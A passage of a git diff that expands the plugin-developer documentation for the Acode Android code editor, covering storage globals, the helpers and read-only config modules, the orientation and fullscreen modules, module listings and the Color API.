+- **`activeFile.type` is not always `"editor"`.** Only editor-type files have a `session`, a `currentMode`, and a CodeMirror view. Terminals, images, video, audio and custom plugin tabs do not.
+- **`editorManager.editor` follows the active pane.** After a pane switch it is a *different* `EditorView` object. Never hold a captured view across a `switch-file`; re-read the getter. To reach the view of a specific file use `editorManager.getFilePane(file)?.editor`.
+- **`file-content-changed` is debounced by 500 ms.** Listen to `editor-state-changed` if you need every keystroke, or set `file.markChanged = false` to opt a file out of the change pipeline entirely.
+- **`emit()` only reaches buckets that exist.** An event name that was never declared in the manager's event map and never subscribed to via `on()` is silently dropped.
+- **Splitting needs room.** `createPane` returns `null` (and toasts) instead of throwing when the pane would be too small.
+- **`onupdate` belongs to the app.** Acode overwrites it during boot.
\ No newline at end of file
diff --git a/docs/global-apis/global-utilities.md b/docs/global-apis/global-utilities.md
index 9004fe3..c92a63d 100644
--- a/docs/global-apis/global-utilities.md
+++ b/docs/global-apis/global-utilities.md
@@ -2,33 +2,498 @@
 
 These extra global APIs provide essential information about asset directories, storage locations, app features, and system specifications.
 
+::: info
+Verified against Acode **v1.13.5** (`CHANGELOG.md:3`). Globals are assigned in `src/main.js`; requirable modules are registered with `this.define(...)` in `src/lib/acode.js`.
+:::
+
 ## ASSETS_DIRECTORY
 `<string>` The directory where all the assets are stored.
 
+Set to `Url.join(cordova.file.applicationDirectory, "www")` at `src/main.js:153`.
+
 ## CACHE_STORAGE
 `<string>` The directory where all the cache files are stored.
 
+`src/main.js:158-161` prefers `cordova.file.externalCacheDirectory`, falls back to `cordova.file.cacheDirectory`, and re-falls-back at `src/main.js:279-280` if the `plugins` directory cannot be created.
+
 ## DATA_STORAGE
 `<string>` The directory where all the data files are stored.
 
+`src/main.js:154-157` — `cordova.file.externalDataDirectory`, else `cordova.file.dataDirectory`. This is where `KEYBINDING_FILE` and `Acode.log` live.
+
 ## PLUGIN_DIR
 `<string>` The directory where all the plugins are stored.
 
+Always `Url.join(DATA_STORAGE, "plugins")` (`src/main.js:163`, recomputed at `src/main.js:281`).
+
 ## DOES_SUPPORT_THEME
 `<boolean>` Whether the app supports theme or not.
 
-## IS_FREE_VERSION
-`<boolean>` Whether the app is free version or not.
+A feature probe at `src/main.js:234-250`: it renders a test element sized with `var(--test-height)` and checks whether the computed box has a non-zero height.
+
+## Pro / free build detection
+`config.HAS_PRO` is the supported way to detect a paid build or an in-app upgrade.
+
+::: danger
+Earlier versions of this page documented a global named **`IS_FREE_VERSION`**. It does not exist in v1.13.5 — nothing in the source assigns it. Use the read-only config value instead:
+
+```js
+const config = acode.require('config');
+console.log(config.HAS_PRO); // true for a paid build or a purchased upgrade
+```
+
+`src/main.js` derives it from the package name (`/(free)$/` on `BuildInfo.packageName`), from `localStorage.acode_pro`, from an `iap.getPurchases` lookup for the `acode_pro_new` product, and finally from the logged-in account's `acode_pro` flag (`src/main.js:167`, `:208`, `:212-220`, `:396-401`, `:534-547`). Because those writes go to the *raw* config object, they bypass the read-only `Proxy` that plugins get — so `config.HAS_PRO` is readable and up-to-date, but not writable from plugin code.
+:::
 
 ## KEYBINDING_FILE
 `<string>` The file where all the keybindings are stored.
 
+`Url.join(DATA_STORAGE, ".key-bindings.json")` (`src/main.js:164`). Acode watches this file with `sdcard.watchFile` and hot-reloads command bindings when it changes (`src/main.js:740-751`).
+
 ## ANDROID_SDK_INT
 `<number>` The Android SDK version.
 
+Resolved via `system.getAndroidVersion` on `deviceready`, falling back to `Number.parseInt(device.version)` (`src/main.js:228-233`). App code branches on it — the external-storage permissions are only requested below API 33 (`src/main.js:255-258`) and ad placement only changes above API 29 (`src/lib/startAd.js:29`, `:76`).
+
+### Other globals worth knowing
+
+| Global | Type | Where |
+|---|---|---|
+| `window.acode` | `Acode` instance | `src/main.js:251` |
+| `window.editorManager` | editor manager | `src/main.js:697` — see [Editor Manager](./editor-manager.md) |
+| `window.actionStack` | back-navigation stack copy | `src/main.js:696` — see [Action Stack](../advanced-apis/action-stack.md) |
+| `window.addedFolder` | opened-folder list | `src/main.js:150` — see [Added Folder](./added-folder.md) |
+| `window.toast` | toast function | `src/main.js:152` — same object as `acode.require("toast")` |
+| `window.log` | `(level, message) => void` | `src/main.js:165` — the bound `Logger#log`; levels `error` \| `warn` \| `info` \| `debug` |
+| `window.app` | `<body>` element | `src/main.js:148` |
+| `window.root` | `#root` element | `src/main.js:149` |
+| `window.appInstallSource` | readonly string getter | `src/main.js:190-199`; assigning logs `appInstallSource is readonly` |
+| `window.ace` | Ace compat shim | `src/main.js:1046-1059` — see [Ace](./ace.md) |
+| `window.Executor` | process executor | clobbered by the terminal Cordova plugin — see [Executor](../advanced-apis/executor.md) |
+
+`window.log` is the only public window into the app's log file: `src/lib/logger.js` buffers up to 1000 entries and appends them to `Url.join(DATA_STORAGE, "Acode.log")` every 30 s and on `pause`.
+
+## `acode.require("helpers")` <Badge type="tip" text="new" />
+
+```js
+const helpers = acode.require('helpers');
+```
+
+::: info
+The module lives at **`src/utils/helpers.js`** (not `src/lib/helpers.js`), and is registered in `src/lib/acode.js:412`. It is a plain object with 29 members.
+:::
+
+### Async / interop
+
+#### `promisify(func, ...args): Promise`
+The workhorse of the API — it turns any Cordova-style `(…args, success, error)` function into a promise.
+
+```js
+promisify(func, ...args) {
+		return new Promise((resolve, reject) => {
+				func(...args, resolve, reject);
+		});
+}
+```
+
+Your arguments are forwarded first and `resolve` / `reject` are **appended last**, which is exactly the Cordova callback convention. A thrown error inside `func` rejects the promise (it runs inside the `Promise` executor).
+
+```js
+const helpers = acode.require('helpers');
+const system = window.system;
+
+// No arguments — the callbacks become the first two parameters.
+const filesDir = await helpers.promisify(system.getFilesDir);
+
+// One argument.
+const parent = await helpers.promisify(system.getParentPath, '/storage/emulated/0/Downloads');
+
+// Several arguments, in order.
+const exists = await helpers.promisify(system.fileExists, '/sdcard/x.txt', false);
+```
+
+::: warning
+- It does **not** check that `func` exists — `helpers.promisify(undefined)` calls `undefined(...)` inside the executor, so the promise **rejects** with a `TypeError` rather than hanging. Guard the plugin is present.
+- It only works for functions whose last two parameters are `success` and `error`. Methods that take no callbacks at all (`system.openInBrowser`) never settle it, and methods that already return a promise (`system.compareTexts`, `webview.create`) must be awaited directly.
+- `resolveLocalFileSystemURL` is also `(uri, success, error)`, so `await helpers.promisify(window.resolveLocalFileSystemURL, url)` gives you the raw Cordova entry.
+:::
+
+#### `debounce(func, wait): Function`
+Returns a debounced wrapper that delays `func` by `wait` ms after the last call. `this` and the arguments of the most recent call are preserved.
+
+```js
+const helpers = acode.require('helpers');
+const onResize = helpers.debounce(() => layout(), 200);
+window.addEventListener('resize', onResize);
+```
+
+#### `checkAPIStatus(): Promise<boolean>`
+`fetch`es `Url.join(config.API_BASE, "status")` and resolves `res.ok`. Any network error is logged via `window.log("error", …)` and resolves `false` — it never rejects.
+
+```js
+if (!(await helpers.checkAPIStatus())) {
+		acode.require('toast')('Cannot reach the plugin registry');
+}
+```
+
+### Errors and user feedback
+
+| Member | Returns | Notes |
+|---|---|---|
+| `errorMessage(err, ...args): string` | Message | Pure formatter. Uses `err` directly if it's a non-empty string, `err.message` for `Error`, else the localized `strings["an error occurred"]`. Extra args matching `/^(content\|file\|ftp\|sftp\|https?):/` are rewritten through `getVirtualPath()` and appended with `<br>` |
+| `error(err, ...args): PromiseLike<void> \| undefined` | — | Shows `alert(strings.error, errorMessage(err, ...args))`; the promise resolves when the user dismisses that alert. **`err.code === 0` is special-cased**: it calls the global `toast(err)` and returns `undefined` synchronously |
+| `formatDownloadCount(downloadCount): string` | e.g. `"1.2K"` | Units `""`, `K`, `M`, `B`, `T`; `toFixed(2)` below 10, `toFixed(1)` otherwise, trailing zeros trimmed |
+
+```js
+const helpers = acode.require('helpers');
+const fs = acode.require('fs');
+const url = acode.joinUrl(DATA_STORAGE, 'notes.md');
+
+try {
+		await fs(url).writeFile('hello');
+} catch (error) {
+		// Resolves once the user closes the error dialog.
+		await helpers.error(error, url);
+}
+```
+
+### Files, paths and stats
+
+| Member | Returns | Notes |
+|---|---|---|
+| `toInternalUri(uri): Promise<string>` | Internal URL | Resolves `window.resolveLocalFileSystemURL(uri, …)` → `entry.toInternalURL()`. Rejects with the raw Cordova error. Same function as [`acode.toInternalUrl(url)`](./acode.md#tointernalurl-url-string-promise-string) and `acode.require("toInternalUrl")` |
+| `createFileStructure(uri, pathString, isFile = true): Promise<{ uri, parentUri, created, type }>` | Result object | Creates every missing folder along `pathString` (split on `/`). `type` is `"file"` or `"folder"`, `created` is `false` when the leaf already existed. Throws `'<name> already exists as a <type>, expected <type>.'` on a kind mismatch |
+| `fixFilename(name): string` | Cleaned name | Strips runs of `\r\n`, `\r`, `\n` and tabs, then trims. Falsy input returns as-is |
+| `getVirtualPath(url): string` | Display path | `content:` URLs collapse through `Uri.getPrimaryAddress()`; other schemes replace a matching added-storage root from `localStorage.storageList` with its user-chosen name |
+| `updateUriOfAllActiveFiles(oldUrl, newUrl): void` | — | Re-points every open `editorManager.files` entry whose uri starts with `oldUrl` to `Url.join(newUrl, file.filename)` (or `null` when `newUrl` is falsy), then triggers a `"file-delete"` update. **Mutates live editor state** |
+| `isBinary(file): boolean` | — | `isBinaryFile` from `src/utils/binaryExtensions.js`. Accepts a path string or an object with `mime`/`type` and `url`/`path`/`name`; checks explicit text MIME types and extensions first, then binary ones |
+| `normalizeMtime(value): number \| null` | Epoch ms | `Date` → `getTime()`, otherwise `Number(value)`; `null` for `null`/`undefined`/non-finite |
+| `getStatMtime(stat): number \| null` | Epoch ms | `normalizeMtime(stat?.modifiedDate ?? stat?.lastModified ?? stat?.mtime)` |
+
+```js
+const helpers = acode.require('helpers');
+const Url = acode.require('Url');
+
+const { uri, created } = await helpers.createFileStructure(
+	Url.join(PLUGIN_DIR, 'com.example.plugin'),
+	'assets/icons/logo.svg',
+);
+if (!created) console.log('already existed at', uri);
+```
+
+### Data, parsing and types
+
+| Member | Returns | Notes |
+|---|---|---|
+| `parseJSON(string): object \| array \| null` | Parsed value | Falsy input or any parse error → `null` |
+| `parseHTML(html): Element \| Element[]` | DOM node(s) | `DOMParser` with `text/html`. Returns `children[0]` when there is exactly one body child, otherwise `Array.from(children)` |
+| `uuid(): string` | Short id | `Date.now() + random`, base-36. Not a RFC 4122 UUID |
+| `isDir(type): boolean` | — | `/^(dir\|directory\|folder)$/` |
+| `isFile(type): boolean` | — | `/^(file\|link)$/` |
+
+::: warning
+`parseHTML` returns **an array** whenever the markup has zero or 2+ body children. Guard before using the result as a single element.
+:::
+
+### Icons
+
+| Member | Returns | Notes |
+|---|---|---|
+| `getIconForFile(filename): string` | CSS class | `fileIcons.icon({ kind: 'file', name: filename })` |
+| `getIconForFolder(name, options = {}): string` | CSS class | `fileIcons.icon({ kind: 'folder', name, expanded: options.expanded, isRoot: options.isRoot })` |
+
+::: tip
+Both go straight to the app-internal icon registry, so they work from anywhere — including outside a plugin's main script, where `acode.require("fileIcons")` deliberately throws. For icons **you** register, use [`acode.require("fileIcons")`](../utilities/file-icons.md), which is scoped to the requesting `<script>`.
+:::
+
+```js
+const $icon = document.createElement('span');
+$icon.className = helpers.getIconForFolder('src', { expanded: true });
+```
+
+### File-browser helpers
+
+#### `sortDir(list, fileBrowser, mode = 'both'): Array`
+Normalizes and orders a mixed entry list for a file-browser view. It **mutates the input objects** and returns `dir.concat(file)` — folders always first, each group sorted case-insensitively by name only when `fileBrowser.sortByName` is truthy.
+
+Per item it will: default `name` from `path.basename(item.url)`; derive `isDirectory` from `type` when missing; default `type` to `"dir"`/`"file"`; copy `uri` into `url`; drop dot-files unless `fileBrowser.showHiddenFiles`; set `icon`; and set `disabled = true` on every file when `mode === 'folder'`.
+
+::: warning
+Only entries with `item.isFile === true` land in the `file` bucket. If an object has neither `isDirectory` nor `isFile`, it is dropped from the result entirely.
+:::
+
+### Ads and in-app purchases
+
+| Member | Returns | Notes |
+|---|---|---|
+| `canShowAds(): boolean` | — | `!config.HAS_PRO && adRewards.canShowAds()` |
+| `showInterstitialIfReady(): Promise<boolean>` | Shown? | Shows a preloaded interstitial, resolving `true` only if one was shown |
+| `showAd(): void` | — | Requests a banner for the topmost `wc-page:not(#root)`, but only when `canShowAds()` and `innerHeight * devicePixelRatio > 600` |
+| `isIapAvailable(): boolean` | — | Whether the `iap` Cordova plugin exists and reports availability |
+| `shouldAllowExternalPurchase(): boolean` | — | `!isIapAvailable() && !isPlayStoreInstall()` |
+
+::: warning
+These five members are **ad and billing plumbing**. Calling `showAd()` or `showInterstitialIfReady()` from a plugin puts an ad in front of your own UI. Gate them behind your own opt-in setting.
+:::
+
+### Deprecated members
+
+#### `decodeText(arrayBuffer, encoding = 'utf-8'): string`
+::: danger
+Deprecated in the source (`src/utils/helpers.js:16`) — use [`acode.require("encodings").decode()`](../utilities/encoding.md) instead. `encoding` may be `"json"`, in which case the buffer is decoded as UTF-8 and then run through `parseJSON` (returning `null` on bad JSON).
+:::
+
+#### `defineDeprecatedProperty(obj, name, getter, setter): void`
+Defines a property on `obj` whose accessors each log `Property '<name>' is deprecated.` to `console.warn`. Handy for keeping your own old API alive while warning callers.
+
+```js
+helpers.defineDeprecatedProperty(api, 'openFile', function () {
+		return this.openFolder;
+}, function (v) {
+		this.openFolder = v;
+});
+```
+
+### The complete member list
+
+| Member | Signature |
+|---|---|
+| `promisify` | `promisify(func: Function, ...args: any[]): Promise` |
+| `debounce` | `debounce(func: Function, wait: number): Function` |
+| `checkAPIStatus` | `checkAPIStatus(): Promise<boolean>` |
+| `error` | `error(err, ...args): PromiseLike<void> \| undefined` |
+| `errorMessage` | `errorMessage(err, ...args): string` |
+| `formatDownloadCount` | `formatDownloadCount(downloadCount: number): string` |
+| `toInternalUri` | `toInternalUri(uri: string): Promise<string>` |
+| `createFileStructure` | `createFileStructure(uri: string, pathString: string, isFile?: boolean): Promise<{ uri: string, parentUri: string, created: boolean, type: "file" \| "folder" }>` |
+| `fixFilename` | `fixFilename(name: string): string` |
+| `getVirtualPath` | `getVirtualPath(url: string): string` |
+| `updateUriOfAllActiveFiles` | `updateUriOfAllActiveFiles(oldUrl: string, newUrl: string): void` |
+| `isBinary` | `isBinary(file: string \| object): boolean` |
+| `normalizeMtime` | `normalizeMtime(value): number \| null` |
+| `getStatMtime` | `getStatMtime(stat): number \| null` |
+| `parseJSON` | `parseJSON(string: string): object \| array \| null` |
+| `parseHTML` | `parseHTML(html: string): Element \| Element[]` |
+| `uuid` | `uuid(): string` |
+| `isDir` | `isDir(type: string): boolean` |
+| `isFile` | `isFile(type: string): boolean` |
+| `getIconForFile` | `getIconForFile(filename: string): string` |
+| `getIconForFolder` | `getIconForFolder(name: string, options?: { expanded?: boolean, isRoot?: boolean }): string` |
+| `sortDir` | `sortDir(list: object[], fileBrowser: object, mode?: "both" \| "file" \| "folder"): object[]` |
+| `canShowAds` | `canShowAds(): boolean` |
+| `showInterstitialIfReady` | `showInterstitialIfReady(): Promise<boolean>` |
+| `showAd` | `showAd(): void` |
+| `isIapAvailable` | `isIapAvailable(): boolean` |
+| `shouldAllowExternalPurchase` | `shouldAllowExternalPurchase(): boolean` |
+| `decodeText` | `decodeText(arrayBuffer: ArrayBuffer, encoding?: string): string` *(deprecated)* |
+| `defineDeprecatedProperty` | `defineDeprecatedProperty(obj: object, name: string, getter: Function, setter: Function): void` |
+
+## `acode.require("config")` <Badge type="tip" text="new" />
+
+```js
+const config = acode.require('config');
+```
+
+The object in `src/lib/config.js` (58 lines) holds the app's compile-time constants.
+
+### It is read-only — every mutation is blocked
+
+`src/lib/acode.js:356-381` wraps the config in a `Proxy` before registering it. There is **no `get` trap**, so reads are normal, but four traps log a `[Security Alert]` warning and return `true` (silently "succeeding" without changing anything):
+
+| Attempt | Console message |
+|---|---|
+| `config.X = 1` | `[Security Alert] Attempt to modify read-only config property 'X' blocked.` |
+| `Object.defineProperty(config, "X", …)` | `[Security Alert] Attempt to define property 'X' on read-only config blocked.` |
+| `delete config.X` | `[Security Alert] Attempt to delete property 'X' on read-only config blocked.` |
+| `Object.setPrototypeOf(config, …)` | `[Security Alert] Attempt to change prototype of read-only config blocked.` |
+
+`HAS_PRO` is a getter/setter pair on the underlying object; because the proxy has no `set` forwarding, `config.HAS_PRO = true` is blocked too. Use [`acode.require("settings")`](../editor-components/settings.md) for anything the user can change.
+
+### The real keys
+
+| Key | Value |
+|---|---|
+| `BASE_URL` | `"https://acode.app"` |
+| `API_BASE` | `"https://acode.app/api"` — the base for `helpers.checkAPIStatus()` and the plugin registry |
+| `DOCS_URL` | `"https://docs.acode.app"` |
+| `GITHUB_URL` | `"https://github.com/Acode-Foundation/Acode"` |
+| `TELEGRAM_URL` | `"https://t.me/foxdebug_acode"` |
+| `DISCORD_URL` | `"https://discord.gg/nDqZsh7Rqz"` |
+| `TWITTER_URL` | `"https://x.com/foxbiz_io"` |
+| `INSTAGRAM_URL` | `"https://www.instagram.com/foxbiz.io/"` |
+| `FOXBIZ_URL` | `"https://foxbiz.io"` |
+| `PLAY_STORE_URL` | getter — a Play Store listing URL built from `BuildInfo.packageName` |
+| `FEEDBACK_EMAIL` | `"acode@foxdebug.com"` |
+| `ERUDA_CDN` | `"https://cdn.jsdelivr.net/npm/eruda"` |
+| `SUPPORTED_EDITOR` | `"cm"` (CodeMirror 6 is the only engine) |
+| `DEFAULT_FILE_NAME` | `"untitled.txt"` |
+| `DEFAULT_FILE_SESSION` | `"default-session"` |
+| `LOG_FILE_NAME` | `"Acode.log"` |
+| `CUSTOM_THEME` | `'body[theme="custom"]'` |
+| `CONSOLE_PORT` | `8159` |
+| `SERVER_PORT` | `8158` |
+| `PREVIEW_PORT` | `8158` |
+| `VIBRATION_TIME` | `30` |
+| `VIBRATION_TIME_LONG` | `150` |
+| `SCROLL_SPEED_NORMAL` | `"NORMAL"` |
+| `SCROLL_SPEED_FAST` | `"FAST"` |
+| `SCROLL_SPEED_FAST_X2` | `"FAST_X2"` |
+| `SCROLL_SPEED_SLOW` | `"SLOW"` |
+| `SIDEBAR_SLIDE_START_THRESHOLD_PX` | `20` |
+| `FILE_NAME_REGEX` | `/^((?![:<>"\\\|\?\*]).)*$/` — validation for user-entered file names |
+| `FONT_SIZE` | `/^[0-9\.]{1,3}(px\|rem\|em\|pt\|mm\|pc\|in)$/` |
+| `SKU_LIST` | `Object.freeze(["crystal", "bronze", "silver", "gold", "platinum", "titanium"])` |
+| `HAS_PRO` | getter/setter `boolean` — read-only through the proxy |
+
+```js
+const config = acode.require('config');
+const status = await acode.require('helpers').checkAPIStatus();
+console.log(status ? 'API up' : 'API down', config.API_BASE);
+```
+
+## `acode.require("orientation")` <Badge type="tip" text="new" />
+
+```js
+const orientation = acode.require('orientation');
+```
+
+Temporary orientation requests for the main WebView's **fullscreen session**. Both members go through `cordova.exec(…, "System", "set-fullscreen-orientation", [mode])`, which resolves when the native side accepts the request.
+
+| Member | Signature | Returns |
+|---|---|---|
+| `lock` | `lock(mode: "landscape" \| "portrait"): Promise<void>` | Rejects with `TypeError("Orientation must be landscape or portrait.")` for any other value |
+| `unlock` | `unlock(): Promise<void>` | Sends `null`, restoring the previous policy |
+
+```js
+acode.require('orientation').lock('landscape');
+// … later
+await acode.require('orientation').unlock();
+```
+
+::: warning
+The source header calls these *"Temporary orientation requests for the main WebView's fullscreen session"* (`src/lib/orientation.js:1`) and `index.d.ts:188` notes `lock()` *"Requires a foreground browser fullscreen session"*. Call `unlock()` from your plugin's unmount handler so a crashed session cannot leave the app locked sideways.
+:::
+
+## `acode.require("fullscreen")` <Badge type="tip" text="new" />
+
+```js
+const fullscreen = acode.require('fullscreen');
+```
+
+Opt-in **Android Back** delivery for whoever currently owns browser fullscreen. It is not a request-to-enter/exit API — the DOM's `requestFullscreen()` / `exitFullscreen()` still do that. The module only decides whether the native Back button is routed to your callback instead of the app's back stack.
+
+#### `setBackHandler(callback): Promise<void>`
+
+| Parameter | Type | Notes |
+|---|---|---|
+| `callback` | `(() => void \| Promise<void>) \| null` | Function to run on Back, or `null` to release Back |
+
+| Rejection | Condition |
+|---|---|
+| `TypeError("Back handler must be a function or null.")` | Anything other than a function or `null` |
+| `Error("Back handler requires fullscreen.")` | A function was passed while no element is fullscreen |
+| `Error("Fullscreen session changed.")` | The fullscreen owner changed while the native call was queued |
+
+Behaviours to design around:
+
+- The fullscreen owner is resolved by walking `document.fullscreenElement` **through shadow roots** (`fullscreen.js:8-14`), so a fullscreen element inside a shadow tree is still detected — a naive `document.fullscreenElement` check is not enough.
+- Native calls are serialised through a promise queue (`fullscreen.js:16-20`), so overlapping registrations cannot interleave.
+- On `fullscreenbackbutton` your callback runs first; the module then calls `document.exitFullscreen()` itself **unless** you already did, or the session changed underneath you (`fullscreen.js:49-71`).
+- If your callback throws or rejects, the module still exits fullscreen (`fullscreen.js:66-70`).
+- When the fullscreen session ends for any reason, a pending handler is released automatically and a late acknowledgement cannot reinstall it (`fullscreen.js:34-46`).
+
+```js
+acode.setPluginInit('com.example.fullscreen-back', (baseUrl, $page) => {
+		const fullscreen = acode.require('fullscreen');
+
+		const onBack = () => {
+				console.log('Back pressed while fullscreen');
+				// Do NOT call exitFullscreen() — the module does it for you.
+		};
+
+		fullscreen.setBackHandler(onBack).catch((error) => {
+				console.warn(String(error));
+		});
+
+		acode.setPluginUnmount('com.example.fullscreen-back', () => {
+				fullscreen.setBackHandler(null);
+		});
+});
+```
+
+## Modules you can require
+
+Every name below is registered by the `Acode` constructor in `src/lib/acode.js` (`src/lib/acode.js:383-457`). `acode.require()` lowercases the name, so casing never matters.
+
+| `acode.require(…)` | Page |
+|---|---|
+| `config` | this page |
+| `helpers` | this page |
+| `orientation` | this page |
+| `fullscreen` | this page |
+| `toInternalUrl` | [`acode.toInternalUrl`](./acode.md#tointernalurl-url-string-promise-string) |
+| `Url` | [Url](../utilities/url.md) |
+| `fs` / `fsOperation` | [FS](../utilities/fs.md) |
+| `fileIndex` | [File Index](../editor-components/file-index.md) |
+| `fileList` | [fileList (deprecated)](../editor-components/file-list.md) |
+| `projects` | [Projects](../utilities/projects.md) |
+| `commands` | [Commands](../utilities/commands.md) |
+| `keyboard` | [Keyboard](../utilities/keyboard.md) |
+| `windowResize` | [Window Resize](../utilities/window-resize.md) |
+| `createKeyboardEvent` | [Keyboard Event](../utilities/keyboard-event.md) |
+| `encodings` | [Encoding](../utilities/encoding.md) |
+| `editorLanguages` / `aceModes` | [Editor Languages](../utilities/ace-modes.md) |
+| `editorThemes` | [Editor Themes](../utilities/editor-themes.md) |
+| `fileIcons` | [File Icons](../utilities/file-icons.md) |
+| `codemirror` | [CodeMirror packages](../utilities/codemirror.md) |
+| `codeHighlight` | [Code Highlight](../utilities/code-highlight.md) |
+| `@codemirror/autocomplete`, `@codemirror/commands`, `@codemirror/language`, `@codemirror/lint`, `@codemirror/search`, `@codemirror/state`, `@codemirror/view` | [CodeMirror packages](../utilities/codemirror.md) |
+| `@lezer/common`, `@lezer/highlight`, `@lezer/lr` | [CodeMirror packages](../utilities/codemirror.md) |
+| `lsp` | [LSP](../advanced-apis/lsp.md) |
+| `terminal` | [Terminal](../advanced-apis/terminal.md) |
+| `webview` | [WebView](../advanced-apis/webview.md) |
+| `actionStack` | [Action Stack](../advanced-apis/action-stack.md) |
+| `intent` | [Intent](../advanced-apis/intent.md) |
+| `settings` | [Settings](../editor-components/settings.md) |
+| `page` | [Page](../editor-components/page.md) |
+| `palette` | [Palette](../editor-components/palette.md) |
+| `fileBrowser` | [File Browser](../editor-components/file-browser.md) |
+| `EditorFile` | [Editor File](../editor-components/editor-file.md) |
+| `addedfolder` | [Added Folder](./added-folder.md) |
+| `openfolder` | [Open Folder](../utilities/open-folder.md) |
+| `toast` | [Toast](../ui-components/toast.md) |
+| `alert`, `confirm`, `select`, `prompt`, `multiPrompt`, `loader`, `dialogBox`, `colorPicker` | [Dialogs](../ui-components/dialogs/alert.md) |
+| `selectionMenu` | [Selection Menu](../ui-components/selection-menu.md) |
+| `tutorial` | [Tutorial](../ui-components/tutorial.md) |
+| `sidebarApps` | [Sidebar Apps](../interface-apis/sidebar-apps.md) |
+| `sideButton` | [Side Buttons](../interface-apis/side-buttons.md) |
+| `contextMenu` | [Context Menu](../interface-apis/context-menu.md) |
+| `inputhints` | [Input Hints](../helpers/input-hints.md) |
+| `Color` | [Color](../helpers/color.md) |
+| `fonts` | [Fonts](../helpers/fonts.md) |
+| `themes` | [Themes](../helpers/themes.md) |
+| `themeBuilder` | [Theme Builder](../helpers/theme-builder.md) |
+
+A full method-by-method reference also lives in [Acode → Available Modules](./acode.md#available-modules).
+
+## Internal-only modules
+
+These files exist under `src/lib/` but are **not** registered with `acode.define()` and are not exposed on `window`. Do not plan a plugin around them.
+
+| Source file | How it is reached today |
+|---|---|
+| `src/lib/ajax.js` | The app's XHR wrapper — `ajax(options)` plus the `ajax.get/post/put/patch/delete/purge` shorthands and the mutable `ajax.response` / `ajax.configure` / `ajax.onprogress` hooks on the function itself. Imported by `src/fileSystem/index.js` for the `https:` provider and by `src/main.js`. Not reachable by name — use `fetch`, `cordova.plugin.http`, or `system.httpStream` ([System](../advanced-apis/system.md)) instead |
+| `src/lib/logger.js` | The `Logger` class. Not exported as a module; its `log()` method is the bound global `window.log(level, message)` |
+| `src/lib/recents.js` | Recent files and folders (`addFile`, `addFolder`, `select`, `MAX: 10`, …). Internal to the "Open Recent" UI. Acode persists them in `localStorage.recentFiles` / `recentFolders`, which you *can* read yourself |
+| `src/lib/searchHistory.js` | A `SearchHistory` singleton over `localStorage["acode.searchreplace.history"]`, capped at 20 items. Internal to the search & replace panel |
+| `src/lib/systemConfiguration.js` | `getSystemConfiguration()` plus the `HARDKEYBOARDHIDDEN_*`, `KEYBOARDHIDDEN_*`, `KEYBOARD_*`, `NAVIGATIONHIDDEN_*`, `NAVIGATION_*`, `ORIENTATION_*` and `TOUCHSCREEN_*` constants. Only `src/handlers/keyboard.js` imports it. You can call the same native action directly: `cordova.exec(resolve, reject, "System", "get-configuration", [])` |
+
+::: tip
+`src/lib/recents.js` and `src/lib/searchHistory.js` still use `localStorage` keys you can reach, and `src/lib/systemConfiguration.js` is a thin wrapper over a documented Cordova action — so none of these are hard walls, just APIs with no stability guarantee.
+:::
 
 Here is a very simple example on how to use these APIs:
 ```javascript
 console.log(ASSETS_DIRECTORY) // returns a string like "/path/to/assets"
-console.log(IS_FREE_VERSION) //  logs true if user is using free version of the app, else false
-```
\ No newline at end of file
+console.log(acode.require('config').HAS_PRO) // true if the build is paid or the upgrade was purchased
+```
diff --git a/docs/helpers/color.md b/docs/helpers/color.md
index 43edb76..a5b85da 100644
--- a/docs/helpers/color.md
+++ b/docs/helpers/color.md
@@ -2,12 +2,24 @@
 
 The Color API provides functionality for color manipulation and conversion. It allows you to create, modify, and analyze colors in different formats.
 
+:::info Verified against Acode v1.13.5
+Every signature below is taken from `src/utils/color/index.js`, `hex.js`, `hsl.js` and `rgb.js`.
+:::
+
 ## Importing the API
 
 ```js
-const Color = acode.require('Color');
+const Color = acode.require("Color");
 ```
 
+::: warning `Color` is not a global
+`Color` is only reachable through [`acode.require()`](../global-apis/acode.md). Acode does not put it on `window`.
+:::
+
+:::tip Module names are case-insensitive
+`acode.require("Color")`, `acode.require("color")` and `acode.require("COLOR")` all resolve to the same module — `require()` lower-cases the name before the lookup. An unknown name returns `undefined` instead of throwing.
+:::
+
 ## Usage
 
 ```js
@@ -16,11 +28,17 @@ const color = Color("#ff0000"); // Create a color from hex string
 
 ## Constructor
 
-### Color(color: string)
+### `Color(color: string)`
 
-Creates a new Color instance from a color string.
+`acode.require("Color")` is a **factory function**, not a class. Calling it with `new` throws a `TypeError`, because the exported value is an arrow function:
+
+```js
+export default (/**@type {string}*/ color) => {
+	return new Color(color);
+};
+```
 
-- `color`: A valid CSS color string (hex, rgb, hsl, color name etc.)
+Call it without `new`:
 
 ```js
 const red = Color("#ff0000");
@@ -28,80 +46,246 @@ const blue = Color("rgb(0,0,255)");
 const green = Color("green");
 ```
 
+| Parameter | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `color` | `string` | Yes | — | Any color string the WebView's 2D-canvas `fillStyle` parser accepts. Parsing is delegated to the canvas: Acode clears a 1×1 pixel, assigns the string to `ctx.fillStyle`, fills it, and reads the pixel back into an `Rgb` |
+
+### Accepted input formats
+
+The constructor does **not** validate the string. Whatever the canvas accepts is accepted.
+
+| Format | Examples |
+| --- | --- |
+| Hex | `"#f00"`, `"#ff0000"`, `"#ff0000ff"`, `"#ff000080"` |
+| `rgb()` | `"rgb(255,0,0)"`, `"rgb(100% 0% 0%)"`, `"rgb(255 0 0)"` |
+| `rgba()` | `"rgba(255,0,0,0.5)"`, `"rgba(255 0 0 / 50%)"` |
+| `hsl()` | `"hsl(0, 100%, 50%)"`, `"hsl(0deg 100% 50%)"` |
+| `hsla()` | `"hsla(0, 100%, 50%, 0.5)"` |
+| Named | `"green"`, `"rebeccapurple"`, `"transparent"` |
+
+The exact set Acode itself considers a valid *user-entered* color is the `colorRegex.anyStrict` pattern in `src/utils/color/regex.js`, which covers named colors, `rgb`, `rgba`, `hsl`, `hsla` and `#` + 3–8 hex digits.
+
 ## Methods
 
-### darken(ratio: number)
+`Color` exposes exactly **two** mutating methods.
+
+| Method | Signature | Returns | Description |
+| --- | --- | --- | --- |
+| `darken` | `darken(ratio: number)` | `Color` (the same instance, `this`) | Reduces HSL lightness by `ratio × lightness` |
+| `lighten` | `lighten(ratio: number)` | `Color` (the same instance, `this`) | Raises HSL lightness by `ratio × lightness` |
 
-Darkens the color by the specified ratio.
+### `darken(ratio: number)`
 
-- `ratio`: Number between 0 and 1 indicating how much to darken
-- Returns: The modified Color instance
